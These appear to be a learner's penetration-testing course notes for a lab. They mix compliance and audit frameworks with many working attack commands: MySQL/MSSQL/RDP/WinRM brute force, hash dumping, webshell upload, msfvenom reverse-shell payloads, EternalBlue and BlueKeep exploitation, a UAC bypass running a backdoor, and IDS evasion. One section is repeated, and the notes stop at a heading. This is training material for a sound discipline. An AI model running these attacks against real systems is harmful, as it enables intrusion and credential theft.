Dump hashes using nmap script
nmap --script mysql-dump-hashes --script-args="username='root',password=''" -p 3306 192.168.100.1

Find number of records in a table
nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''" -p 3306 192.168.100.1

List of nmap scripts for mysql
mysq-info
mysql-users
mysql-databases
mysql-variables
data dir /var/lib/mysql
mysql-audit
mysql-query

Dictionary attack on mysql using msfconsole
msfconsole
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.100.1
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set STOP_ON_SUCCESS true
exploit

Hydra
hydra -l root -p passwords.txt mysql


MSSQL

Basic nmap scan to start
nmap 192.168.1.10
MSSQL port is 1433

NMAP script it get version details
nmap --script ms-sql-info -p 1433  192.168.1.10

nmap script to get info via NTLM (to get back netbios/DNS/OS)
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 192.168.1.10

nmap script to brute force logins using usernames and passwords files
nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-p asswords.txt 192.168.1.10

nmap script to check for any users with empty passwords
nmap -p 1433 --script ms-sql-empty-password 192.168.1.10

nmap script to extract users from DB to a local file
nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" 192.168.1.10 -oN output.txt
more output.txt

nmap script to dump hashes 
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria 192.168.1.10

nmap script to execute a command 
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.1.10

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" 192.168.1.10

Metasploit
msfconsole
search mssql
use auxiliary/scanner/mssql/mssql_login
info
set RHOSTS 192.168.1.100
set USER_FILE /root/Desktop/wordlist/common_users.txt 
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt 
set VERBOSE false
run

Enum module
use auxiliary/admin/mssql/mssql_enum 
set RHOSTS 10.0.20.101
run

Export all SQL logins
use auxiliary/admin/mssql/mssql_enum_sql_logins 
set RHOSTS 10.0.20.101 
run

Run a command
use auxiliary/admin/mssql/mssql_exec 
set RHOSTS 10.0.20.101 
set CMD whoami
run

Get windows domain logins
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS 10.0.20.101
run


SMTP enumeration
TCP 25 by default, 465 or 587 if using SSL cert.

This can get you the email domain and a list of users, which can be used to stage further attacks like phishing or brute force attacks with a targeted list of users.


service postgreql start
msfconsole 
workspace -a SMTP
setg RHOST t.t.t.t
setg RHOSTS t.t.t.t

search type: auxiliary name: smtp

use auxiliary/scanner.smtp/smtp_version 
info
set RPORT 25
run

use auxiliary/scanner.smtp/smtp_enum
set USER_FILE unix_users.txt
finds a list of users.

SMTP commands
VRFY admin@domain.com
HELO domain.com
EHLO domain.com

stmp-enum-user command uses a list to check if users exist
sendmail command can be used to send fakeemail


Enumeration recap
Spot common ports/apps
Find all the info publicly available 

NMAP scripts intro
Nmap scripting engine (NSE)

Syn scan
Version scan
OS scan
all ports
timing profile T4
nmap -sS -sV -O -p- -T4 192.168.1.10

NMAP is open source and has many scripts already created 
/usr/share/nnamp/scripts

extension is .nse and writtenin lua language

look for scripts relevant
ls /usr/share/nnamp/scripts | grep http

Script scan (default)
-sC

Run a script 
--script=memcached-info

Run more than one script
--script=script1,script2

Run all scripts in a tree
--script=http-*

-A option combines OS detection, version detection and script scanning. Needs to run as root.
nmap -sS -A -p- -T4 192.168.1.100
Will take time as its running a lot of stuff


Evasion, Scan performance and output
-Pn Disable host discovery. Port scan only. Don't ping
-F fast scan just scans the top 100 ports
-sS TCP SYN scan

nmap -Pn -sS -F 192.168.1.10

When we scan if we see "filtered" we can assume there is a firewall blocking 

Fragmenting 
Breaking up you packets to evade detection

-f fragmentation option, packets get fragmented
We can give an MTU option
-f --mtu 32 (only packets larget than 32 will be fragmented)
-f --mtu 8 (you should see they are fragmented)

Spoofing your source 
We can spoof our source IP. If we run a scan from a client it might trigger an alarm or look strange to IT staff. We can pretend to send our traffic from the gateway. T

-D is for a decoy IP
nmap -Pn -sS -sV -p 445,3389 -f --data-length 200 -D 192.168.1.1

Appear to come from the gateway

Optimizing nmap scans 

We can speed up scans to reduce how long they take to complete, however this may cause IDS systems to alert. We can slow down scans for old networks and also to evade detection

-T 
0 paranoid
1 sneaky
2 polite
3 normal
4 aggressive
5 insane 

--scan-delay 5s (delay between probes)
15s is a good value but scan will take a long time

--host-timeout 5s (if it does not respond in 5seconds move on)
30s is a good option for larger networks, too low and you miss slow to respond hosts

Combining fragmentation with decoy IPs and timing templates your scans can slip under the radar of IDS systems.

NMAP output formats

Good idea to log every action you take in case you cause an issue.
Good idea to log scans so you don't have to keep running the same scans over and over

We can output nmap to files 
-oN scan.txt (same as it comes out of terminal, can use grep on that file later but other formats may be better for that kind of work)
-oX scan.xml (can be imported into Metasploit) 
-oS script kiddie format just a joke replaces open with op3n, can ignore this one
-oG nmap_grep.txt (greppable format so data can be manipulated with sed/awk etc. It lists each host on one line so its easier to use cut/sed/awk etc on the data)


Import nmap scan results into Metasploit 

Run scan in namp and export to xml
nmap -sV -Pn -oX scan.xml t.t.t.t

Start DB for Metasploit (we need the DB running)
service postgresql start

Start Metasploit
msfconsole

Create a workspace, you may have several scans ongoing for different customers/projects
workspace -a PENTEST1

Confirm the DB connection is working
db_status 

Import the scan data
db_import scan.xml

List the hosts (You will see all the info gathered from namp will be available in Metasploit)
hosts

List the services
services 

List vulnerabilities (will be useful later)
vulns

We can run namp from Metasploit and it will automatically update the DB in Metasploit
db_nmap -Pn -sS -sV -O -p 445 192.168.1.100

Most of the time you would export in the normal .txt or .xml format 

Scanning UDP ports
Don't forget some services are running on UDP
53
177
161
69

Scan a range
nmap -p 1-250 -sU x.x.x.x

Get more details on ports found like service version
nmap x.x.x.x -p 134,177,234 -sUV

Auxiliary modules

If we get access to server1 we may find it has access to server2. We can use the auxiliary modules to run a port scan through the first server we got access to. This is to avoid uploading nmap to server1 as it may be detected.

service start postgresql
msfconsole
db_status

workspace -a PORT_SCAN

search portscan
Look for auxiliary 

use auxiliary/scanner/portscan/tcp
info
set RHOSTS t.t.t.t
set PORTS (may need to cover all ports)
set THREADS (default is 1 if scanning a larger network add more but will also use more CPU which can draw attention)
run

curl y.y.y.y

We see application name "XODA" in the HTML code

serach xoda

use exploit/unix/webapp/xoda_file_upload
info
set RHOSTS y.y.y.y
run

We should get a meterpreter shell
meterpreter> sysinfo

Launch bash shell
/bin/bash -i
ifconfig

Set to route through our current shell 
run autoroute -s 192.168.1.3

Put meterpreter session into background
background

search portscan module
use auxiliary/scanner/portscan/tcp
set RHOST 192.168.1.3
run

This scan is now running through the first system we got control of.

nmap scan from external or pen test laptop on a switch port
Once we get control of a server we use the auxiliary port scan module because if we copied nmap or other tool up there it might be detected.

Summary of foot printing and scanning
  • Scan a target network with nmap
  • Build a picture of their network
  • Discover hosts
  • Discover listening ports on those hosts
  • Discover services running on those ports
  • Discover the version of those services running on those ports
  • Discover the OS version running on target hosts
  • Enumerate SMB with nmap
  • Know about nmap scripts in /usr/share/nmap/scripts 
  • Evade IDS with fragmentation, spoofing and timing templates 
  • Output your scan results
  • Import .xml into a workspace in metasploit
  • nnamp can be run from Metasploit 
  • Don't forget about UDP ports
Vulnerability Assessment

What is a vulnerability
Generally its a weakness in code found in software or hardware components that when exploited result in a negative impact to confidentiality integrity or availability.

Either will be in the OS or some software that runs on the OS apps/services/drivers/dll's etc.

However physical weakness are also vulnerabilities. If you leave your server room unlocked anyone can walk in and install their malware.

How are vulnerabilities described 
NIST (National Institute of Standards and Technology) - maintains NVD (National Vulnerability Database)

Mitre corporation - maintainCVE (Common Vulnerabilities and Exposures)

Each vuln page will have
Description - Summary of the issue
Severity - A score of how bad it is, is some information revealed or can an attacker execute code. Is it remote or do they need to be local or already have some kind of access.
References - Various likes for proof of concepts, whitepapers etc which prove the issue. 
Weakness Enumeration
Known affected systems
Often there will be mitigation and remediation details on how to fix it. However with brand new vulns you may be waiting for a patch and have to take other action like taking a server offline (off the internet) until it can be patched.

Accepting risk is up to each organisation but at least you can inform them of what is out there and how bad it is.

Lets look at Log4j

NVD page
https://nvd.nist.gov/vuln/detail/CVE-2021-44228

CVE page
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

0day's
These are vulnerabilities that no one else knows about and there is not patch. Often developed and used by nation state and APT's. However some private companies sell them to governments/law enforcement. There is also a black market for selling them on the dark web.

Risk management
 > Vulnerability management 
 > > Vulnerability assessment
 > > > Penetration tests

How do people find vulnerabilities
First step is scanning and knowing the target
Asset identification + research
Fuzz testing (input/handling/validation) try sql/cli injections
Exploit DB (open source exploit DB) 
Searchsploit (Offensive security)

Vulnerability Case Studies 

Heartbleed (2014-0160)
TLS and DTLS implementation of OpenSSL

NMAP script to look for TLS versions
nmap -p 443 --script ssl-enum-ciphers

NMAP script to see if a server is heartbleed vulnerable 
nmap -p 443 --script ssl-heartbleed

The server returned info based on the length of the password.
Someone tried to change the length from 12 up to 100 and got back the next stuff that was in memory.
You can go up to 64000. So data was leaked from memory. What is in that memory chunk is hard to say.

EternalBlue - MS17-010 (CVE-2017-0143)
NSA created this and was using it. Their tool was found/leaked by someone.
Affected SMB (windows file sharing) on basically all windows OS's.
Once released in the wild it was used in a ransomware (wannacry)

NMAP script to check for it
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.100

Most malware payloads are going to be reverse shells
The target will call back to an attacker owned domain such as cnc.evil and give a reverse shell, I can control that machine. Once an attacker has control they can pivot to other machines install software, steal data etc. What ever they intend to do.

Log4j
https://nvd.nist.gov/vuln/detail/CVE-2021-44228

Basically lots of java applications (84%) were using the log4j library for logging. There was a vulnerability found in log4j. We could send a string into the log4j that would actually execute that code. That made this one pretty bad as we could run code on a remote server.

Apache tomcat is usually the web server used with java. Java Naming Directory Interface was the part of java used.

Nessus
Nessus tool can be used to scan your network for vulnerabilities
Basic scan will find basic network stuff

We can also do web application scan but it can cause disruption on those system so get permission and be careful

Advanced Scan
Host discovery > uncheck test local host, check use fast network discovery

Discovery > Port Scanning > check TCP

Assessment > General > Check perform through tests

Assessment > Web applications > Check Scan web applications

Save scan and run

Vulnerability research example

This will use an old one as an example 
Lets say we run nmap on a target
nmap - sV  192.168.1.100

We see bad blue httpd 2.7 running on port 80

Browsing to it, it appears to be file server

Next step is to search "badblue 2.7 cve" on google etc. Check NVD, exploit DB etc.

We find it has a vulnerability that allows us to run code.

We find there is a metasploit module for the vulnerability. FYI metasploit is written in ruby.

msfconsole
search badblue 2.7
We see our CVE listed 2007-12-10
badblue_passthru buffer overflow its number 29 in the list, lets use it
use 29
info
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.1.100
set lhost eth1

Now lets run it
run

If we get meterpreter > prompt then it worked and we are in that machine
Type 
sysinfo

Summary:
Vulnerabilities needs to be understood to understand the risk and present this to an org in a meaningful way
CVE, NVD and exploit DB describe vulns and give solutions. There are more locations on but these are some common ones.
Nessus is a great tool for scanning for vulnerabilities
Metasploit has many modules to exploit vulnerabilities for pentest / proof of concept  


CIA Triad for cyber security
  • Availability (servers up)
  • Integrity (files arenot interfered with in transit, same data saved to disk as displayed in app)
  • Confidentiality (files are encrypted/secured or not in the case of public data. Authentication)

Compliance 
Each business has their own needs and risk management.

Some companies choose to accept risk, however some some industries have regulations which you should be aware of.

PCI DSS (Payment card industry data security standard)
Created by VISA/Mastercard etc

HIPAA (Health Insurance Portability and Accountability Act)
How peoples health care information is handled

GDPR (General data protection regulation)
EU

CPPA (California Consumer Privacy act)
Enhance privacy rights and consumer protection

SOX (Sarbanes Oxley Act)
Requires strong internal control process over IT apps that have financial data flowing through it.

Verticals 
You will also hear the term verticals referring to industries has a whole like finance healthcare government education etc

Framework and maturity 

How do we implement cyber security controls related to my business needs (large vs small, industry etc). There have been several frame works create to help with this. You follow the frame work, get certified and audited.

PCI-DSS
  • Designed to protect card payments
  • Key fouced protect cardholder data, maintaining secure network, implement robust access control
  • Any business that is processing card payments needs to adhere to this. Legal requirement in many countries.

ISO/IEC 27000
  • Broad in scope on purpose 
  • 27001 - The guidelines 
  • 27002 - How to implement the guide

COBIT
  • Control Objectives for Information and Related Tech
  • Business focused and defines a set of generic process for IT management 

NIST - CSF
  • National Institute of standards and technology (USA)
  • All federal agencies need to follow this SP 800-53
  • Anyone else can use it as a guide line. 

CIS
  • Centre for internet security (non profit)
  • A set of best practices to improve cyber security
  • Free too to self asses 

CMMC
  • Cybersecurity Maturity Model Certification
  • Used for national security
  • Outside 3rd party audit/certification
  • Has 5 levels of maturity
    • Basic
    • Intermediate
    • Good 
    • Proactive
    • Advanced/progressive 

ASD (Australia) 
  • 8 controls  (4 maturity levels)
  • ASD Essential 8 was designed for windows based networks
  • What to do now at our level
  • What to do to get to the next level

What has compliance got to do with pertest ? 
This is because most pentests are engaged because of a compliance or insurance requirement.

Security Auditing

Companies will do an audit for compliance / insurance or they my choose to do it as proof to potential  customers of their professionalism. They may just care about security and want to keep attackers out.

Auditing should be an on going process its not a one and done process. Security is changing all the time so audits should be happening on a regular schedule.

Nessus has lots of templates for audits built in. For example PCI DSS.
Take good notes (Sublime text, one note, Joplin)
Mind map
Reports writing is important.

Security Auditing essential Terminology
  • Security policies (companies policies)
  • Compliance (adherence to industry standards/data protection)
  • Vulnerability (a weakness in a system or process)
  • Control (A safeguard or countermeasure to mitigate risks)
  • Risk Assessment  (Evaluate risk level or vulnerabilities and other risks)
  • Audit trail (log of events on your systems, often not enough logging)
  • Compliance audit (an audit just based on compliance)
  • Access Control (Firewall or Badge swipe system)
  • Audit Report (Report to detail everything found in the audit so improvements can be made)
Security lifecycle
Lifecycle just means we do the audits over and over to check and make improvements when we can.

Prep work
  • Define objectives
  • Gather / create documentation
  • Establish an audit team. This can be internal, external or mixed. Some may choose to run 1 internal audit and 1 external audit separately. Keep in mind internal teams auditing their own work will have a bias to cover mistakes.
  • Review polices and procedures
  • Conduct interviews with key personnel
  • Collect Technical data 
  • Identify assets and threats 
  • Evaluate vulnerabilities
  • Determine risk levels

Run audit
  • Technical tests - vuln tests and pen tests, 
  • Verify compliance 
  • evaluate controls

Post audit tasks
  • Analyse findings
  • Compare against standards
  • Prioritise issues
  • Document / report
  • Remediation and implement changes
  • Schedule follow up audit

In summary
  • Planning and prep
  • Info gathering
  • Risk assessment and audit execution
  • Analysis interpretation and reporting 
  • Remediation and schedule next audit 

SCAP tool

CMMC tool to audit
Security Content Automation Protocol (NIST-800-53)
Install scap tool on windows
Start scan

There is also STIG viewer

LGPO.exe /g can be used to install policies

One common item would be to block powershell scripts, however your business may user powershell scripts so its not a black and white we must implement every item on each server.

Asset management
Starting point each company should have an excel with all the IP's of every device.
Sometime they might not even know what's out there.

Coming in as pen tester you can start with some info but assume there is more devices on that network that have not been included in this list

Basic scan of a network
nmap 192.168.1.0/24

Scan a few specific IPs of interest 
nmap 192.168.1.1,50,229 -A

Nessus can also do this
Install nessus server
Login
Create a new scan
target 192.168.1.0/24 (we can also target a domain name lab.local)
Run the scan and when its complete we can export a report

There are many other tools for asset management in the end someone needs to do the work for keeping them up to date.

GRC
Governance, risk & compliance 

Governance (in relation to GRC)
Defines framework of policies procedures and practices. Change approval board etc. Who has authority to make decisions. RFC, CAB etc.

Risk
Risk identification, assessment and mitigation

Compliance
Do we need to comply with an industry standard (GDRP, HIPPA, PCIDSS etc). Are we in compliance ?

Knowing the GRC of the company can help you write a report that makes sense.

Common standards and frameworks

Framework - structured approach to improving security over time.

Standards - Set hard requirements / criteria to earn the certification. eg All PCs must have AV installed.

Guidelines - Offer recommended practices and advice but not mandatory 


A short example of the whole process

Develop a security policy

In this example we will develop a security policy for Linux servers following NIST SP 800-53.

Step 1 - Read the NIST SP 800-53
Create policies and apply this on your servers

https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final

Lynis (security audit tool for linux)

Download the tarball

cd /opt/
wget https://downloads.cisofy.com/lynis.tar.gz
gzip -d lynis.tar.gz

tar -xcf lynis.tar
cd lyis
chmod +x lynis

./lynis --help

lynis audit system

this can also be installed via sudo apt-get install but its not the latest.

Install AV on linux
sudo apt-get intall clamav


Penetration test
Run a pertest against the items in the audit report.

hydra -l root - P /usr/shar/seclist/Passwords/xato-net-10-million-passwords.txt ssh://t.t.t.t:22 -t 2 -v


Auditing summary
We need to understand auditing as a pen tester
Each industry may have an interest in different frameworks / standards / compliance based on what country they are based in and what industry they operate in and their own business goals


Host/System based attacks
Focusing on windows and linux
Initial access > system/host attacks
Privilege Escalation
File system and pipes
Hashing dumps and lateral movement

A similar task will be done on linux.

Windows
Has the larges share of the OS market
Makes it a big target
Some famous ones MS08-067 (Conflicker) MS17-010 (EternalBlue)
Exploit code get published publicly so there is a big risk for windows users

Large corporations are usually slow to patch/upgrade 
Windows was built in C an older programming language so it was vulnerable
For example by the time windows 10 came out many orgs were running windows 7 and even xp.

Physical attacks (theft, copy hard drive, USB key attacks, hardward key/screen loggers etc)

Type of windows vulnerabilities 
  • Information disclosure - Allows attacker to get some info, on its own may look like nothing but can be used to build an attack. For example if we tell what version of some software we are running or list usernames.
  • Buffer overflow - Caused by programming errors, allows attackers to write data to a buffer and overrun the allocated buffer. Can either read or write data to/from memory could give the attacker full remote access / let them run commands etc
  • Remote code execution - lets the attacker run code on the target machine remotely
  • DOS - Denial of service, hold websites etc down often by sending lots of traffic from a bot net
Famous windows vulnerabilities 
  • MS08-067 - Conflicker 
  • MS17-010 - EternalBlue


Frequently exploited native windows services 
Windows has many built in services running out of the box.
Some are not running but can be switched on easily
They can be exploited to gain and pivot access

IIS - Microsoft web server (usually on ports 80/443 but can listen on anything)
WebDAV - Like a http file/document server, usually running with IIS. (80/443)
SMB/CIFS - Windows file sharing (TCP port 445)
RDP - remote desktop (TCP 3389, UDP 3389 also used)
WinRM - Windows remote management, intended for admins (TCP ports 5986/443 and other ports)


Exploiting webDAV on IIS
IIS sites are .asp or PHP

File extensions:
.asp
.aspx
.config
.php

WebDAV
Distributed Authoring and Versioning
Lets a web server (IIS) act as a collaborative file server
WebDAV has some authentication available (user and password)

Exploitation tools 
davtest (kali and parrot) 
cadaver (kalo and parrot)

nmap
nmap -pN -sV -sC 192.168.100.1

Port 80 we see IIS running.

nmap -sV -p 80 --script=http-enum 192.168.100.1

This script will tell us if the webdav is running (looking for /webdav/ folder)
If we see 401 unauthorized we know authentication has been enabled

Hydra
hydra can be used to brute force the username and password.

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt 192.168.1.100 http-get /webdav/

you can build your users list from other recon, like linked in and calling up asking whats the username format for example it might be firstname.surname.

Password lists can be obtained from the internet and there is also full brute forcing which can take a long time. Once we know users we can also look for their details in password dumps online and try these as well.

Davtest

davtest -url http://192.168.1.100/webdav

davtest -auth bob:password123 -url http://192.168.1.100/webdav

tests if we can make a directory, tries to upload different file extension 
tests if we can execute any of these files

if we can execute .asp files we can upload an asp paylot

cadaver
cadaver http://192.168.1.100/webdav
bob
password123

Now we get a shell

Lets upload a webshell, kali has lots

cd /user/share/webshells
ls

We know we want an asp one because that is what we can execute on the server

Upload from cadaver

put /usr/share/webshells/asp/webshell.asp

refresh the webdav page in the browser, we will see our webshell file.
Click on it and it will allow you to run commands and output is printed on the screen.
Can run windows commands:
whoami
ipconfig 

type c:\flag.txt


Metasploit 

msfvenom lets us create payloads. Our usual payload will be a meterpreter shell or reverse shell.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.5.5.33 LPORT=1234 -f asp> shell.asp

Lhost is my control machine I want the target to connect to
Lport has to be open/listening on my end

Better to use the 32bit version as it will work on either platform.

cadaver http://10.2.30.233/webdav
username: user
password: *****
ls
put /root/shell.asp

Refresh in the browser, to click on it will execute it

Set up handler

msfconole
use multi/handler
set playload windows/meterpreter/reverse_tcp
show options
set LHOST 10.5.5.33
set LPORT 1234

Started up the handler 

Now execute the reverse shell
getuid
sysinfo


There is a module to do all this for us
iis_webdav_upload_asp

use exploit/windows/iis/iis_webdav_upload_asp
show options
set HttpUsername bob
set HttpPassword pw1234
set RPORT 80
set LHOSTS 10.5.5.33
set LPORT 1234
set path /webdav/metasploit.asp
exploit

This module will upload the payload, execute it and then delete the .asp for you and drop you into the meterpreter shell 

Exploiting SMB with psexec

SAMBA is the open source linux implmentatin of SMB and allows windows systems to access linux shares and device
SMB 445 (TCP), originally ran on top of NetBIOS using port 139

SMB auth
User auth (username and password)
Share auth (just a password)

Both use challenge/response 

Basics of SMB authentication 
Client  > Auth request (username) > Server
Client  < Encrypt a random string with users hash < Server
Client  > Encrypted string with the hash (needs to match servers results) > Server
Client  < Access granted if all in order < Server

nmap -sV -sC 192.168.1.100

SMB brute force with metasploit
service postgresql start 
msfconsole
search smb_login

use auxiliary/scanner/smb/smb_login
info
set USER_FILE /usr/share/metasoploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasoploit-framework/data/wordlists/unix_users.txt
set RHOSTS 192.168.1.100
set VERBOSE false
run

psexec auth is done through SMB

psexec.py is a python version of psexec

psexec.py administrator@192.168.1.100 cme.exe
password: ******
whoami
getuid

msfconsole
use exploit/windows/smb/psexec
info
set RHOST 10.2.2.1
set SMBUser Administrator
set SMBPass Pw1234
exploit

whoami
sysinfo
getuserid

Eternal blue (MS17-010) CVE-2017-0144

Eternal blue was a name given to a collection of windows vulnerabilities allows attackers to execute arbitrary code.
Was released by shadow brokers
One of the biggest of the last 10 to 15 years  
It has been patched but still vulnerable systems out there 
Targets win7 and server 2008

Nmap scan for OS versions affect (win7 and server 2008)
nmap -sV -p 445 -O 192.168.1.100

Nmap script to check if its vulnerable 
nmap -sV -p 445 --script=smb-vuln-ms17-010 192.168.1.100
State: VULNERABLE

Autoblue
Clone from github
Always take care using software from github, best to run on an isolated VM that can be blown away don't run code on your own machine.

Generate shell code
cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh
answer Y 
LHOST (fill in your VM)
LPORT 1234 (port you want to listen on)
option 1 for regular cmd shell
1 for stageless

The msf shell code is exported to  raw .bin file

Setup handler / listener
nc -nvlp 1234

Run the python
chmod +x eternalblue_exploit7.py 
eternalblue_exploit7.py  192.168.100.1 shellcode/sc_x64.bin

Check our listener
We should see a cmd shell
whoami

meterpreter is more advanced than a regular cmd shell but what ever shell you can get you can work from there

Metasploit

msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
info
set RHOSTS 192.168.100.1
run

This will drop us into a meterpreter shell
sysinfo
getuid


Exploiting RDP

Uses TCP 3389 and UDP 3389, can use any other port. Gives GUI/windows desktop.



nmap -sV -p- 192.168.100.1

We notice port 3333 open and shows ssl/dec-notes

service postgresql start
msfconsole
search rdp_scanner
use auxiliary/scanner/rdp/rdp_scanner
info
set RHOST 192.168.100.1
set RPORT 3333
run

RDP brute force attack with hydra
hydra -L /usr/share/metasplot-framework/data/wordlists/common_users.txt - P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://192.168.100.1 -s 3333

xfreerdp /u:administrator /p:pw1234 /v:192.168.100.1:3333
Y to trust cert
Other RDP client remina


Exploiting Bluekeep (CVE-2019-0708)

Allows attackers to gain access to the network and get a metepreter session where they can execute code
Discovered by MS themselves (So we are told)

Affected by bluekeep
XP
Vista
Windows 7
Windows server 2008 R2

RDP needs to be enabled.
NLA stops this vulnerability

Lots of exploit code uploaded to git hub that has malware inside. Another warning abour running exploit code (or any code) from a stranger on the internet/github. If you must test it, read the code and understand it, don't run anything with binary blobs where you don't know what it does. Run inside a test VM environment not connected to any network and delete after testing.

Metasploit
msfconsole
search bluekeep
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOST 192.168.1.100
set RPORT 3333
run

search bluekeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
*** Defaults to 64bit payload ***
set RHOSTS 192.168.1.100
show targets
set target 2
run
Will open a meterpreter session if it works 

Kernel exploits can cause crashes/blue screens so be careful when running in a corporate environment 
Also keep in mind attackers won't care about this and will crash systems if there is a chance they can get in.

Exploiting winRM

Its a remote management protocol for sysadmins using HTTP(S). (aka wsman)
WinRM is not switched on by default.
You may find it enabled in lots of corporate environments.
Remote access hosts on a local network
Run commands on windows systems
Manage/config windows systems remotely

Usual ports TCP
5985 (HTTP)
5986 (HTTPS)



evil-winrm is a ruby script to obtain a command shell session on the target

nmap
We need to define the port cause its not in the top 1000 
nmap -sV -p 5985 192.168.1.100

crackmapexec

crackmapexec can be used to do a brute force on WinRM to ide users/passwords and execute commands

launch crackmapexec
can be used for smb, ssh and mssql
crackmapexec winrm 192.168.1.100 -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

output will show if it found a password

crackmapexec winrm 192.168.1.100 -u administrator -p BadPW -x "whoami"

crackmapexec winrm 192.168.1.100 -u administrator -p BadPW -x "systeminfo"

Getting a command session 
evil-winrm.rb -u administrator -p 'BadPW' -i 192.168.1.00
If it works we should get a CMD shell

Metasploit
msfconsole
info
use auxiliary/scanner/winrm/winrm_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set PASSWORD anything
run

Metasploit
We can get a meterpreter shell with metasploit
service postgresql start
msfconsole
search winrm_script
use exploit/windows/winrm/winrm_script_exec
info
set RHOSTS 192.168.1.100
set FORCE_VBS true
set USERNAME administrator
set PASSWORD BadPW
run

sysinfo
cat "C:\flag.txt"

Privilege Escalation
Moving from normal user to higher rights like admin.
Attackers usual can get a user level foothold on a single machine with a phish email or social engineering phone call etc.
We will need privilege escalation to pivot and move through the network

Windows Kernel exploits 
The kernel is the core of the OS. Has complete control over everything. Translation layer between hardware and software. Getting kernel level access for an attacker is obviously very useful for them

WindowsNT Kernel
Works a bit different than other kernels based on design philosophy. Has 2 main modes, user mode and kernel mode.

User mode - limited access
Kernel mode - unrestricted access (devices and system memory)

We want to get some code executed in kernel mode.

Again messing with the kernel can cause blue screens etc.

Identify the windows kernel in use
Identify if there are vulnerabilities for that version
Use the exploits to escalate privileges
Leverage the new access to pivot to other resources / machines / servers / networks etc.

Windows exploit suggester (github)
Compares a targets patch level with MS vuln DB.
Notifies you if there are matching metasploit modules

Windows kernel exploits (github)
Collection of windows kernel exploits sorted by CVE

Reminder about running code from github

Keep in mind attackers will have their own DB's that they may share with each other or will want to keep secret for as long as possible.

 
meterpreter has a command to automatically try elevate privileges "getsystem".


msfconsole 
search suggester 
use post/multi/recon/local_exploit_suggester   (post is for post getting access)
info 
set SESSION 3 (you must already have access)
run

It will show you all available exploits and gives you a list of things you can use

use /exploit/windows/local/ms16_014_wmi_recv_notif 
set session 3
set LPORT 4442
run

If it works you get a meterpreter with elevated privileges 
getuid
NET AUTHORITY\SYSTEM


Download the windows-exploit-suggeter.py script to your kali VM
From your meterpreter shell get the windows info from your target machine
shell (to get windows shell)
systeminfo (copy to a txt file on your kali VM to check hotfixes)

On kali VM
Go to directory where your cloned the github script
drop the systeminfo.txt here
./windows-exploit-suggeter.py --update (update the latest DB)
./windows-exploit-suggeter.py --database FileName-DB-Downloaded.xls --systeminfo systeminfo.txt

This will check a list of vulns. It lists the most likely to work at the top.
E means there is exploit code
M means there is a metasploit module


UACME
UAC bypass

nmap target.domain.com

We see web server running

nmap -sV -p 80 target.domain.com
Its running HFS file server

searchsploit hfs

msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS target.domain.com
run

meterpreter>
getuid
sysinfo
ps -S explorer.exe
migrate 2440
getsystem

shell
net localgroup administrators


New tab make payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'
file backdoor.exe

Back on Meterperter shell
CTRL + C
cd C:\\Users\\admin\\AppData\\Local\\Temp
upload /root/Desktop/tools/UACME/Akagi64.exe .
upload /root/backdoor.exe .
ls

Open new tab to start handler 
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 4444
exploit

Back on meterperter shell run the new backdoor via UACME
shell
Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe

Migrate to a process with high privilege
ps -S lsass.exe
migrate 496

hashdump (get the NTLM hashes)

******************
nmap target.domain.com

We see web server running

nmap -sV -p 80 target.domain.com
Its running HFS file server

searchsploit hfs

msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS target.domain.com
run

meterpreter>
getuid
sysinfo
ps -S explorer.exe
migrate 2440
getsystem

shell
net localgroup administrators


New tab make payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'
file backdoor.exe

Back on Meterperter shell
CTRL + C
cd C:\\Users\\admin\\AppData\\Local\\Temp
upload /root/Desktop/tools/UACME/Akagi64.exe .
upload /root/backdoor.exe .
ls

Open new tab to start handler 
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 4444
exploit

Back on meterperter shell run the new backdoor via UACME
shell
Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe

Migrate to a process with high privilege
ps -S lsass.exe
migrate 496

hashdump (get the NTLM hashes)

******


Windows access tokens 
